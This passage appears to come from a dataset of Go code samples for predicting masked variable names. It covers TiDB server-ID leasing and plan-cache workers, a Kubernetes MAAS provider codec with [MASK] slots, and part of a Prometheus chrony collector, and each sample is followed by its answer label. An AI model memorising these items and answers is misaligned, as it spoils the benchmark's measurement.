do.connIDAllocator.Release(connID) } const ( serverIDEtcdPath = ""/tidb/server_id"" refreshServerIDRetryCnt = 3 acquireServerIDRetryInterval = 300 * time.Millisecond acquireServerIDTimeout = 10 * time.Second retrieveServerIDSessionTimeout = 10 * time.Second acquire32BitsServerIDRetryCnt = 3 ) var ( // serverIDTTL should be LONG ENOUGH to avoid barbarically killing an on-going long-run SQL. serverIDTTL = 12 * time.Hour // serverIDTimeToKeepAlive is the interval that we keep serverID TTL alive periodically. serverIDTimeToKeepAlive = 5 * time.Minute // serverIDTimeToCheckPDConnectionRestored is the interval that we check connection to PD restored (after broken) periodically. serverIDTimeToCheckPDConnectionRestored = 10 * time.Second // lostConnectionToPDTimeout is the duration that when TiDB cannot connect to PD excceeds this limit, // we realize the connection to PD is lost utterly, and server ID acquired before should be released. // Must be SHORTER than `serverIDTTL`. lostConnectionToPDTimeout = 6 * time.Hour ) var ( ldflagIsGlobalKillTest = ""0"" // 1:Yes, otherwise:No. ldflagServerIDTTL = ""10"" // in seconds. ldflagServerIDTimeToKeepAlive = ""1"" // in seconds. ldflagServerIDTimeToCheckPDConnectionRestored = ""1"" // in seconds. ldflagLostConnectionToPDTimeout = ""5"" // in seconds. ) func initByLDFlagsForGlobalKill() { if ldflagIsGlobalKillTest == ""1"" { var ( i int err error ) if i, err = strconv.Atoi(ldflagServerIDTTL); err != nil { panic(""invalid ldflagServerIDTTL"") } serverIDTTL = time.Duration(i) * time.Second if i, err = strconv.Atoi(ldflagServerIDTimeToKeepAlive); err != nil { panic(""invalid ldflagServerIDTimeToKeepAlive"") } serverIDTimeToKeepAlive = time.Duration(i) * time.Second if i, err = strconv.Atoi(ldflagServerIDTimeToCheckPDConnectionRestored); err != nil { panic(""invalid ldflagServerIDTimeToCheckPDConnectionRestored"") } serverIDTimeToCheckPDConnectionRestored = time.Duration(i) * time.Second if i, err = strconv.Atoi(ldflagLostConnectionToPDTimeout); err != nil { panic(""invalid ldflagLostConnectionToPDTimeout"") } lostConnectionToPDTimeout = time.Duration(i) * time.Second logutil.BgLogger().Info(""global_kill_test is enabled"", zap.Duration(""serverIDTTL"", serverIDTTL), zap.Duration(""serverIDTimeToKeepAlive"", serverIDTimeToKeepAlive), zap.Duration(""serverIDTimeToCheckPDConnectionRestored"", serverIDTimeToCheckPDConnectionRestored), zap.Duration(""lostConnectionToPDTimeout"", lostConnectionToPDTimeout)) } } func (do *Domain) retrieveServerIDSession(ctx context.Context) (*concurrency.Session, error) { if do.serverIDSession != nil { return do.serverIDSession, nil } // `etcdClient.Grant` needs a shortterm timeout, to avoid blocking if connection to PD lost, // while `etcdClient.KeepAlive` should be longterm. // So we separately invoke `etcdClient.Grant` and `concurrency.NewSession` with leaseID. childCtx, cancel := context.WithTimeout(ctx, retrieveServerIDSessionTimeout) resp, err := do.etcdClient.Grant(childCtx, int64(serverIDTTL.Seconds())) cancel() if err != nil { logutil.BgLogger().Error(""retrieveServerIDSession.Grant fail"", zap.Error(err)) return nil, err } leaseID := resp.ID session, err := concurrency.NewSession(do.etcdClient, concurrency.WithLease(leaseID), concurrency.WithContext(context.Background())) if err != nil { logutil.BgLogger().Error(""retrieveServerIDSession.NewSession fail"", zap.Error(err)) return nil, err } do.serverIDSession = session return session, nil } func (do *Domain) acquireServerID(ctx context.Context) error { atomic.StoreUint64(&do.serverID, 0) session, err := do.retrieveServerIDSession(ctx) if err != nil { return err } conflictCnt := 0 for { var proposeServerID uint64 if config.GetGlobalConfig().Enable32BitsConnectionID { proposeServerID, err = do.proposeServerID(ctx, conflictCnt) if err != nil { return errors.Trace(err) } } else { // get a random serverID: [1, MaxServerID64] proposeServerID = uint64(rand.Int63n(int64(globalconn.MaxServerID64)) + 1) // #nosec G404 } key := fmt.Sprintf(""%s/%v"", serverIDEtcdPath, proposeServerID) cmp := clientv3.Compare(clientv3.CreateRevision(key), ""="", 0) value := ""0"" childCtx, cancel := context.WithTimeout(ctx, acquireServerIDTimeout) txn := do.etcdClient.Txn(childCtx) t := txn.If(cmp) resp, err := t.Then(clientv3.OpPut(key, value, clientv3.WithLease(session.Lease()))).Commit() cancel() if err != nil { return err } if !resp.Succeeded { logutil.BgLogger().Info(""propose serverID exists, try again"", zap.Uint64(""proposeServerID"", proposeServerID)) time.Sleep(acquireServerIDRetryInterval) conflictCnt++ continue } atomic.StoreUint64(&do.serverID, proposeServerID) logutil.BgLogger().Info(""acquireServerID"", zap.Uint64(""serverID"", do.ServerID()), zap.String(""lease id"", strconv.FormatInt(int64(session.Lease()), 16))) return nil } } func (do *Domain) releaseServerID(context.Context) { serverID := do.ServerID() if serverID == 0 { return } atomic.StoreUint64(&do.serverID, 0) if do.etcdClient == nil { return } key := fmt.Sprintf(""%s/%v"", serverIDEtcdPath, serverID) err := ddlutil.DeleteKeyFromEtcd(key, do.etcdClient, refreshServerIDRetryCnt, acquireServerIDTimeout) if err != nil { logutil.BgLogger().Error(""releaseServerID fail"", zap.Uint64(""serverID"", serverID), zap.Error(err)) } else { logutil.BgLogger().Info(""releaseServerID succeed"", zap.Uint64(""serverID"", serverID)) } } // propose server ID by random. func (*Domain) proposeServerID(ctx context.Context, conflictCnt int) (uint64, error) { // get a random server ID in range [min, max] randomServerID := func(minv uint64, maxv uint64) uint64 { return uint64(rand.Int63n(int64(maxv-minv+1)) + int64(minv)) // #nosec G404 } if conflictCnt < acquire32BitsServerIDRetryCnt { // get existing server IDs. allServerInfo, err := infosync.GetAllServerInfo(ctx) if err != nil { return 0, errors.Trace(err) } // `allServerInfo` contains current TiDB. if float32(len(allServerInfo)) <= 0.9*float32(globalconn.MaxServerID32) { serverIDs := make(map[uint64]struct{}, len(allServerInfo)) for _, info := range allServerInfo { serverID := info.ServerIDGetter() if serverID <= globalconn.MaxServerID32 { serverIDs[serverID] = struct{}{} } } for range 15 { randServerID := randomServerID(1, globalconn.MaxServerID32) if _, ok := serverIDs[randServerID]; !ok { return randServerID, nil } } } logutil.BgLogger().Info(""upgrade to 64 bits server ID due to used up"", zap.Int(""len(allServerInfo)"", len(allServerInfo))) } else { logutil.BgLogger().Info(""upgrade to 64 bits server ID due to conflict"", zap.Int(""conflictCnt"", conflictCnt)) } // upgrade to 64 bits. return randomServerID(globalconn.MaxServerID32+1, globalconn.MaxServerID64), nil } func (do *Domain) refreshServerIDTTL(ctx context.Context) error { session, err := do.retrieveServerIDSession(ctx) if err != nil { return err } key := fmt.Sprintf(""%s/%v"", serverIDEtcdPath, do.ServerID()) value := ""0"" err = ddlutil.PutKVToEtcd(ctx, do.etcdClient, refreshServerIDRetryCnt, key, value, clientv3.WithLease(session.Lease())) if err != nil { logutil.BgLogger().Error(""refreshServerIDTTL fail"", zap.Uint64(""serverID"", do.ServerID()), zap.Error(err)) } else { logutil.BgLogger().Info(""refreshServerIDTTL succeed"", zap.Uint64(""serverID"", do.ServerID()), zap.String(""lease id"", strconv.FormatInt(int64(session.Lease()), 16))) } return err } func (do *Domain) serverIDKeeper() { defer func() { do.wg.Done() logutil.BgLogger().Info(""serverIDKeeper exited."") }() defer util.Recover(metrics.LabelDomain, ""serverIDKeeper"", func() { logutil.BgLogger().Info(""recover serverIDKeeper."") // should be called before `do.wg.Done()`, to ensure that Domain.Close() waits for the new `serverIDKeeper()` routine. do.wg.Add(1) go do.serverIDKeeper() }, false) tickerKeepAlive := time.NewTicker(serverIDTimeToKeepAlive) tickerCheckRestored := time.NewTicker(serverIDTimeToCheckPDConnectionRestored) defer func() { tickerKeepAlive.Stop() tickerCheckRestored.Stop() }() blocker := make(chan struct{}) // just used for blocking the sessionDone() when session is nil. sessionDone := func() <-chan struct{} { if do.serverIDSession == nil { return blocker } return do.serverIDSession.Done() } var lastSucceedTimestamp time.Time onConnectionToPDRestored := func() { logutil.BgLogger().Info(""restored connection to PD"") do.isLostConnectionToPD.Store(0) lastSucceedTimestamp = time.Now() if err := do.info.StoreServerInfo(context.Background()); err != nil { logutil.BgLogger().Error(""StoreServerInfo failed"", zap.Error(err)) } } onConnectionToPDLost := func() { logutil.BgLogger().Warn(""lost connection to PD"") do.isLostConnectionToPD.Store(1) // Kill all connections when lost connection to PD, // to avoid the possibility that another TiDB instance acquires the same serverID and generates a same connection ID, // which will lead to a wrong connection killed. do.InfoSyncer().GetSessionManager().KillAllConnections() } for { select { case <-tickerKeepAlive.C: if !do.IsLostConnectionToPD() { if err := do.refreshServerIDTTL(context.Background()); err == nil { lastSucceedTimestamp = time.Now() } else { if lostConnectionToPDTimeout > 0 && time.Since(lastSucceedTimestamp) > lostConnectionToPDTimeout { onConnectionToPDLost() } } } case <-tickerCheckRestored.C: if do.IsLostConnectionToPD() { if err := do.acquireServerID(context.Background()); err == nil { onConnectionToPDRestored() } } case <-sessionDone(): // inform that TTL of `serverID` is expired. See https://godoc.org/github.com/coreos/etcd/clientv3/concurrency#Session.Done // Should be in `IsLostConnectionToPD` state, as `lostConnectionToPDTimeout` is shorter than `serverIDTTL`. // So just set `do.serverIDSession = nil` to restart `serverID` session in `retrieveServerIDSession()`. logutil.BgLogger().Info(""serverIDSession need restart"") do.serverIDSession = nil case <-do.exit: return } } } // StartTTLJobManager creates and starts the ttl job manager func (do *Domain) StartTTLJobManager() { ttlJobManager := ttlworker.NewJobManager(do.ddl.GetID(), do.advancedSysSessionPool, do.store, do.etcdClient, do.ddl.OwnerManager().IsOwner) do.ttlJobManager.Store(ttlJobManager) ttlJobManager.Start() } // TTLJobManager returns the ttl job manager on this domain func (do *Domain) TTLJobManager() *ttlworker.JobManager { return do.ttlJobManager.Load() } // StopAutoAnalyze stops (*Domain).autoAnalyzeWorker to launch new auto analyze jobs. func (do *Domain) StopAutoAnalyze() { do.stopAutoAnalyze.Store(true) } // InitInstancePlanCache initializes the instance level plan cache for this Domain. func (do *Domain) InitInstancePlanCache() { hardLimit := vardef.InstancePlanCacheMaxMemSize.Load() softLimit := float64(hardLimit) * (1 - vardef.InstancePlanCacheReservedPercentage.Load()) do.instancePlanCache = NewInstancePlanCache(int64(softLimit), hardLimit) // use a separate goroutine to avoid the eviction blocking other operations. do.wg.Run(do.planCacheEvictTrigger, ""planCacheEvictTrigger"") do.wg.Run(do.planCacheMetricsAndVars, ""planCacheMetricsAndVars"") } // GetInstancePlanCache returns the instance level plan cache in this Domain. func (do *Domain) GetInstancePlanCache() sessionctx.InstancePlanCache { return do.instancePlanCache } // planCacheMetricsAndVars updates metrics and variables for Instance Plan Cache periodically. func (do *Domain) planCacheMetricsAndVars() { defer util.Recover(metrics.LabelDomain, ""planCacheMetricsAndVars"", nil, false) ticker := time.NewTicker(time.Second * 15) // 15s by default defer func() { ticker.Stop() logutil.BgLogger().Info(""planCacheMetricsAndVars exited."") }() for { select { case <-ticker.C: // update limits hardLimit := vardef.InstancePlanCacheMaxMemSize.Load() softLimit := int64(float64(hardLimit) * (1 - vardef.InstancePlanCacheReservedPercentage.Load())) curSoft, curHard := do.instancePlanCache.GetLimits() if curSoft != softLimit || curHard != hardLimit { do.instancePlanCache.SetLimits(softLimit, hardLimit) } // update the metrics size := do.instancePlanCache.Size() memUsage := do.instancePlanCache.MemUsage() metrics2.GetPlanCacheInstanceNumCounter(true).Set(float64(size)) metrics2.GetPlanCacheInstanceMemoryUsage(true).Set(float64(memUsage)) case <-do.exit: return } } } // planCacheEvictTrigger triggers the plan cache eviction periodically. func (do *Domain) planCacheEvictTrigger() { defer util.Recover(metrics.LabelDomain, ""planCacheEvictTrigger"", nil, false) ticker := time.NewTicker(time.Second * 30) // 30s by default defer func() { ticker.Stop() logutil.BgLogger().Info(""planCacheEvictTrigger exited."") }() for { select { case <-ticker.C: // trigger the eviction begin := time.Now() enabled := vardef.EnableInstancePlanCache.Load() detailInfo, numEvicted := do.instancePlanCache.Evict(!enabled) // evict all if the plan cache is disabled metrics2.GetPlanCacheInstanceEvict().Set(float64(numEvicted)) if numEvicted > 0 { logutil.BgLogger().Info(""instance plan eviction"", zap.String(""detail"", detailInfo), zap.Int64(""num_evicted"", int64(numEvicted)), zap.Duration(""time_spent"", time.Since(begin))) } case <-do.exit: return } } } // SetupWorkloadBasedLearningWorker sets up all of the workload based learning workers. func (do *Domain) SetupWorkloadBasedLearningWorker() { wbLearningHandle := workloadlearning.NewWorkloadLearningHandle(do.sysSessionPool) wbCacheWorker := workloadlearning.NewWLCacheWorker(do.sysSessionPool) // Start the workload based learning worker to analyze the read workload by statement_summary. do.wg.Run( func() { do.readTableCostWorker(wbLearningHandle, wbCacheWorker) }, ""readTableCostWorker"", ) // TODO: Add more workers for other workload based learning tasks. } // readTableCostWorker is a background worker that periodically analyze the read path table cost by statement_summary. func (do *Domain) readTableCostWorker(wbLearningHandle *workloadlearning.Handle, wbCacheWorker *workloadlearning.WLCacheWorker) { // Recover the panic and log the error when worker exit. defer util.Recover(metrics.LabelDomain, ""readTableCostWorker"", nil, false) readTableCostTicker := time.NewTicker(vardef.WorkloadBasedLearningInterval.Load()) defer func() { readTableCostTicker.Stop() logutil.BgLogger().Info(""readTableCostWorker exited."") }() for { select { case <-readTableCostTicker.C: if vardef.EnableWorkloadBasedLearning.Load() && do.statsOwner.IsOwner() { wbLearningHandle.HandleTableReadCost(do.InfoSchema()) wbCacheWorker.UpdateTableReadCostCache() } case <-do.exit: return } } } func init() { initByLDFlagsForGlobalKill() } var ( // ErrInfoSchemaExpired returns the error that information schema is out of date. ErrInfoSchemaExpired = dbterror.ClassDomain.NewStd(errno.ErrInfoSchemaExpired) // ErrInfoSchemaChanged returns the error that information schema is changed. ErrInfoSchemaChanged = dbterror.ClassDomain.NewStdErr(errno.ErrInfoSchemaChanged, mysql.Message(errno.MySQLErrName[errno.ErrInfoSchemaChanged].Raw+"". ""+kv.TxnRetryableMark, nil)) ) // SysProcesses holds the sys processes infos type SysProcesses struct { mu *sync.RWMutex procMap map[uint64]sysproctrack.TrackProc } // Track tracks the sys process into procMap func (s *SysProcesses) Track(id uint64, proc sysproctrack.TrackProc) error { s.mu.Lock() defer s.mu.Unlock() if oldProc, ok := s.procMap[id]; ok && oldProc != proc { return errors.Errorf(""The ID is in use: %v"", id) } s.procMap[id] = proc proc.GetSessionVars().ConnectionID = id proc.GetSessionVars().SQLKiller.Reset() return nil } // UnTrack removes the sys process from procMap func (s *SysProcesses) UnTrack(id uint64) { s.mu.Lock() defer s.mu.Unlock() if proc, ok := s.procMap[id]; ok { delete(s.procMap, id) proc.GetSessionVars().ConnectionID = 0 proc.GetSessionVars().SQLKiller.Reset() } } // GetSysProcessList gets list of system ProcessInfo func (s *SysProcesses) GetSysProcessList() map[uint64]*util.ProcessInfo { s.mu.RLock() defer s.mu.RUnlock() rs := make(map[uint64]*util.ProcessInfo) for connID, proc := range s.procMap { // if session is still tracked in this map, it's not returned to sysSessionPool yet if pi := proc.ShowProcess(); pi != nil && pi.ID == connID { rs[connID] = pi } } return rs } // KillSysProcess kills sys process with specified ID func (s *SysProcesses) KillSysProcess(id uint64) { s.mu.Lock() defer s.mu.Unlock() if proc, ok := s.procMap[id]; ok { proc.GetSessionVars().SQLKiller.SendKillSignal(sqlkiller.QueryInterrupted) } } ",pdHTTPCli 424,"// Copyright © 2018 The Kubernetes Authors. // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package v1alpha1 import ( ""bytes"" ""fmt"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/runtime/schema"" ""k8s.io/apimachinery/pkg/runtime/serializer"" clusterv1 ""sigs.k8s.io/cluster-api/pkg/apis/cluster/v1alpha1"" ""github.com/alejandroEsc/cluster-api-provider-maas/cloud/maas/providerconfig"" ) // +k8s:deepcopy-gen=false type MAASProviderConfigCodec struct { encoder runtime.Encoder decoder runtime.Decoder } const GroupName = ""maasproviderconfig"" var SchemeGroupVersion = schema.GroupVersion{Group: GroupName, Version: ""v1alpha1""} var ( SchemeBuilder runtime.SchemeBuilder localSchemeBuilder = &SchemeBuilder AddToScheme = localSchemeBuilder.AddToScheme ) func init() { localSchemeBuilder.Register(addKnownTypes) } func addKnownTypes(scheme *runtime.Scheme) error { scheme.AddKnownTypes(SchemeGroupVersion, &MAASMachineProviderConfig{}, ) scheme.AddKnownTypes(SchemeGroupVersion, &MAASClusterProviderConfig{}, ) scheme.AddKnownTypes(SchemeGroupVersion, &MAASMachineProviderStatus{}, ) scheme.AddKnownTypes(SchemeGroupVersion, &MAASClusterProviderStatus{}, ) return nil } func NewScheme() (*runtime.Scheme, error) { scheme := runtime.NewScheme() if err := AddToScheme(scheme); err != nil { return nil, err } if err := providerconfig.AddToScheme(scheme); err != nil { return nil, err } return scheme, nil } func NewCodec() (*MAASProviderConfigCodec, error) { scheme, err := NewScheme() if err != nil { return nil, err } codecFactory := serializer.NewCodecFactory(scheme) encoder, err := newEncoder(&codecFactory) if err != nil { return nil, err } codec := MAASProviderConfigCodec{ encoder: encoder, decoder: codecFactory.UniversalDecoder(SchemeGroupVersion), } return &codec, nil } func (codec *MAASProviderConfigCodec) DecodeFromProviderConfig( [MASK] clusterv1.ProviderConfig, out runtime.Object) error { if [MASK] .Value != nil { _, _, err := codec.decoder.Decode( [MASK] .Value.Raw, nil, out) if err != nil { return fmt.Errorf(""decoding failure: %v"", err) } } return nil } func (codec *MAASProviderConfigCodec) EncodeToProviderConfig(in runtime.Object) (*clusterv1.ProviderConfig, error) { var buf bytes.Buffer if err := codec.encoder.Encode(in, &buf); err != nil { return nil, fmt.Errorf(""encoding failed: %v"", err) } return &clusterv1.ProviderConfig{ Value: &runtime.RawExtension{Raw: buf.Bytes()}, }, nil } func (codec *MAASProviderConfigCodec) EncodeProviderStatus(in runtime.Object) (*runtime.RawExtension, error) { var buf bytes.Buffer if err := codec.encoder.Encode(in, &buf); err != nil { return nil, fmt.Errorf(""encoding failed: %v"", err) } return &runtime.RawExtension{Raw: buf.Bytes()}, nil } func (codec *MAASProviderConfigCodec) DecodeProviderStatus(providerStatus *runtime.RawExtension, out runtime.Object) error { if providerStatus != nil { _, _, err := codec.decoder.Decode(providerStatus.Raw, nil, out) if err != nil { return fmt.Errorf(""decoding failure: %v"", err) } } return nil } func newEncoder(codecFactory *serializer.CodecFactory) (runtime.Encoder, error) { serializerInfos := codecFactory.SupportedMediaTypes() if len(serializerInfos) == 0 { return nil, fmt.Errorf(""unable to find any serlializers"") } encoder := codecFactory.EncoderForVersion(serializerInfos[0].Serializer, SchemeGroupVersion) return encoder, nil } ",providerConfig 425,"// Copyright 2015 The Prometheus Authors // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // +build linux darwin // +build !nochrony package collector import ( ""encoding/json"" ""github.com/facebookincubator/ntp/ntpcheck/checker"" ""github.com/facebookincubator/ntp/protocol/chrony"" ""github.com/go-kit/kit/log"" ""github.com/go-kit/kit/log/level"" ""github.com/pkg/errors"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/sirupsen/logrus"" ""github.com/ulule/deepcopier"" ""gopkg.in/alecthomas/kingpin.v2"" ""net"" ""strconv"" ""strings"" ""time"" ) const ( chronySubsystem = ""chrony"" ) var ( chronyAddress = kingpin.Flag(""collector.chrony.address"", ""chronyd address (could be socket or host:port)"").Default(""127.0.0.1:323"").String() chronyLogResponseJSON = kingpin.Flag(""collector.chrony.log-response-json"", ""Log chrony socket response as json through the debug level"").Default(""true"").Bool() ) type NTPCheckResultE struct { // parsed from SystemStatusWord LI uint8 `deepcopier:""field:LI""` LIDesc string `deepcopier:""field:LIDesc""` ClockSource string `deepcopier:""field:ClockSource""` Correction float64 `deepcopier:""field:Correction""` Event string `deepcopier:""field:Event""` EventCount uint8 `deepcopier:""field:EventCount""` // data parsed from System Variables SysVars *checker.SystemVariables `deepcopier:""field:SysVars""` // map of peers with data from PeerStatusWord and Peer Variables Peers map[uint16]*PeerE `deepcopier:""field:Peers""` } type PeerE struct { // from PeerStatusWord Configured bool `deepcopier:""field:Configured""` AuthPossible bool `deepcopier:""field:AuthPossible""` Authentic bool `deepcopier:""field:Authentic""` Reachable bool `deepcopier:""field:Reachable""` Broadcast bool `deepcopier:""field:Broadcast""` Selection uint8 `deepcopier:""field:Selection""` Condition string `deepcopier:""field:Condition""` // from variables SRCAdr string `deepcopier:""field:SRCAdr""` SRCPort int `deepcopier:""field:SRCPort""` DSTAdr string `deepcopier:""field:DSTAdr""` DSTPort int `deepcopier:""field:DSTPort""` Leap int `deepcopier:""field:Leap""` Stratum int `deepcopier:""field:Stratum""` Precision int `deepcopier:""field:Precision""` RootDelay float64 `deepcopier:""field:RootDelay""` RootDisp float64 `deepcopier:""field:RootDisp""` RefID string `deepcopier:""field:RefID""` RefTime string `deepcopier:""field:RefTime""` Reach uint8 `deepcopier:""field:Reach""` Unreach int `deepcopier:""field:Unreach""` HMode int `deepcopier:""field:HMode""` PMode int `deepcopier:""field:PMode""` HPoll int `deepcopier:""field:HPoll""` PPoll int `deepcopier:""field:PPoll""` Headway int `deepcopier:""field:Headway""` Flash uint16 `deepcopier:""field:Flash""` Flashers []string `deepcopier:""field:Flashers""` Offset float64 `deepcopier:""field:Offset""` Delay float64 `deepcopier:""field:Delay""` Dispersion float64 `deepcopier:""field:Dispersion""` Jitter float64 `deepcopier:""field:Jitter""` Xleave float64 `deepcopier:""field:Xleave""` Rec string `deepcopier:""field:Rec""` FiltDelay string `deepcopier:""field:FiltDelay""` FiltOffset string `deepcopier:""field:FiltOffset""` FiltDisp string `deepcopier:""field:FiltDisp""` // from sourceStats NSamples uint32 NRuns uint32 SpanSeconds uint32 StdDev float64 ResidFreq float64 SkewFreq float64 EstOffset float64 EstOffsetError float64 } type chronyCollector struct { // tracking response trackingLI, //int // trackingLIDesc, //str -> str rep of LI trackingClockSource, //str -> always shown as 1 trackingCorrection, //float // trackingEvent, //str // trackingEventCount, //int // tracking as sysvars // trackingVersion, //str // trackingProcessor, //str // trackingSystem, //str // trackingLeap, //int -> same value as LI trackingStratum, //int trackingPrecision, //int trackingRootDelay, //float trackingRootDisp, //float // trackingPeer, //int // trackingTC, //int // trackingMinTC, //int // trackingClock, //str trackingRefID, //str -> parsed as float trackingRefTime, //str -> parsed as float trackingOffset, //float // trackingSysJitter, //int trackingFrequency, //float // trackingClkWander, //int // trackingClkJitter, //int // trackingTai, //int // sources response sourcesPeerConfigured, //bool -> parsed as 1/0 sourcesPeerAuthPossible, //bool -> parsed as 1/0 sourcesPeerAuthentic, //bool -> parsed as 1/0 sourcesPeerReachable, //bool -> parsed as 1/0 sourcesPeerBroadcast, //bool -> parsed as 1/0 sourcesPeerSelection, //int // sourcesPeerCondition, //str -> str rep of selection // sourcesPeerSRCAdr, //str // sourcesPeerSRCPort, //int // sourcesPeerDSTAdr, //str // sourcesPeerDSTPort, //int sourcesPeerLeap, //int sourcesPeerStratum, //int sourcesPeerPrecision, //int sourcesPeerRootDelay, //float sourcesPeerRootDisp, //float sourcesPeerRefID, //str -> parsed as float sourcesPeerRefTime, //str -> parsed as float sourcesPeerReach, //int sourcesPeerUnreach, //int sourcesPeerHMode, //int sourcesPeerPMode, //int sourcesPeerHPoll, //int sourcesPeerPPoll, //int sourcesPeerHeadway, //int // sourcesPeerFlash, //int sourcesPeerOffset, //float //sourcesPeerDelay, //float //sourcesPeerDispersion, //float sourcesPeerJitter, //float sourcesPeerXleave, //float // sourcesPeerRec, //str // sourcesPeerFiltDelay, //str // sourcesPeerFiltOffset, //str // sourcesPeerFiltDisp, //str sourceStatsNSamples, //int sourceStatsNRuns, //int sourceStatsSpanSeconds, //int sourceStatsStdDev, //float sourceStatsResidFreq, //float sourceStatsSkewFreq, //float sourceStatsEstOffset, //float sourceStatsEstOffsetError, //float // manually added metrics sourcesPeerCount typedDesc //int logger log.Logger } func init() { registerCollector(""chrony"", true, NewChronyCollector) } func NewChronyCollector(logger log.Logger) (Collector, error) { peerLabels := []string{""addr""} return &chronyCollector{ trackingLI: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_leap_indicator""), ""Tracking Leap Indicator. 0 - no warning, 3 - alarm"", []string{""desc""}, nil), prometheus.GaugeValue}, //int trackingClockSource: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_clock_source""), ""Clock Source, str value in 'src' label, value always 1."", []string{""src""}, nil), prometheus.GaugeValue}, //int trackingCorrection: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_correction""), ""Current correction value."", nil, nil), prometheus.GaugeValue}, //float trackingStratum: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_stratum""), ""The stratum indicates how many hops away from a computer with an attached reference clock we are."", nil, nil), prometheus.GaugeValue}, //int trackingPrecision: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_precision""), ""Current precision."", nil, nil), prometheus.GaugeValue}, //int trackingRootDelay: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_root_delay""), ""Total of the network path delays to the stratum-1 computer from which the computer is ultimately synchronized."", nil, nil), prometheus.GaugeValue}, //float trackingRootDisp: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_root_disp""), ""Total dispersion accumulated through all the computers back to the stratum-1 computer from which the computer is ultimately synchronized."", nil, nil), prometheus.GaugeValue}, //float trackingRefID: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_ref_id""), ""Encoded address of connected machine (if available)."", nil, nil), prometheus.GaugeValue}, //float trackingRefTime: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_ref_time""), ""The time (UTC) at which the last measurement from the reference source was processed."", nil, nil), prometheus.GaugeValue}, //float trackingOffset: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_offset""), ""The estimated local offset on the last clock update."", nil, nil), prometheus.GaugeValue}, //float trackingFrequency: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""tracking_frequency""), ""The rate by which the system’s clock would be wrong if chronyd was not correcting it. It is expressed in ppm (parts per million). For example, a value of 1 ppm would mean that when the system’s clock thinks it has advanced 1 second, it has actually advanced by 1.000001 seconds relative to true time."", nil, nil), prometheus.GaugeValue}, //float sourcesPeerSelection: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_selection""), ""State of the source (int code of *|+|-|?|x|~). str value in 'desc' label. See: https://github.com/facebookincubator/ntp/blob/master/protocol/chrony/packet.go#L81"", append(peerLabels, ""desc""), nil), prometheus.GaugeValue}, //int sourcesPeerOffset: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_offset""), ""Offset of last update."", peerLabels, nil), prometheus.GaugeValue}, //float //sourcesPeerDelay: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_delay""), ""Delay to peer."", peerLabels, nil), prometheus.GaugeValue}, //float //sourcesPeerDispersion: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_dispersion""), ""Peer dispersion."", peerLabels, nil), prometheus.GaugeValue}, //float sourcesPeerJitter: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_jitter""), ""Peer jitter."", peerLabels, nil), prometheus.GaugeValue}, //float sourcesPeerRefID: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_ref_id""), ""Peer refId (see tracking_ref_id)."", peerLabels, nil), prometheus.GaugeValue}, //float sourcesPeerRefTime: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_ref_time""), ""Peer refTime (see tracking_ref_time)."", peerLabels, nil), prometheus.GaugeValue}, //float sourcesPeerRootDelay: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_root_delay""), ""Peer root delay (see tracking_root_delay)."", peerLabels, nil), prometheus.GaugeValue}, //float sourcesPeerRootDisp: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_root_disp""), ""Peer root dispersion (see tracking_root_disp)."", peerLabels, nil), prometheus.GaugeValue}, //float sourcesPeerConfigured: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_peer_configured""), ""Configured flag (1|0)."", peerLabels, nil), prometheus.GaugeValue}, //bool sourcesPeerAuthPossible: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_auth_possible""), ""AuthPosible flag (1|0)."", peerLabels, nil), prometheus.GaugeValue}, //bool sourcesPeerAuthentic: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_authentic""), ""Authenticatd flag (0|1)."", peerLabels, nil), prometheus.GaugeValue}, //bool sourcesPeerReachable: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_reachable""), ""Reachability (1 if 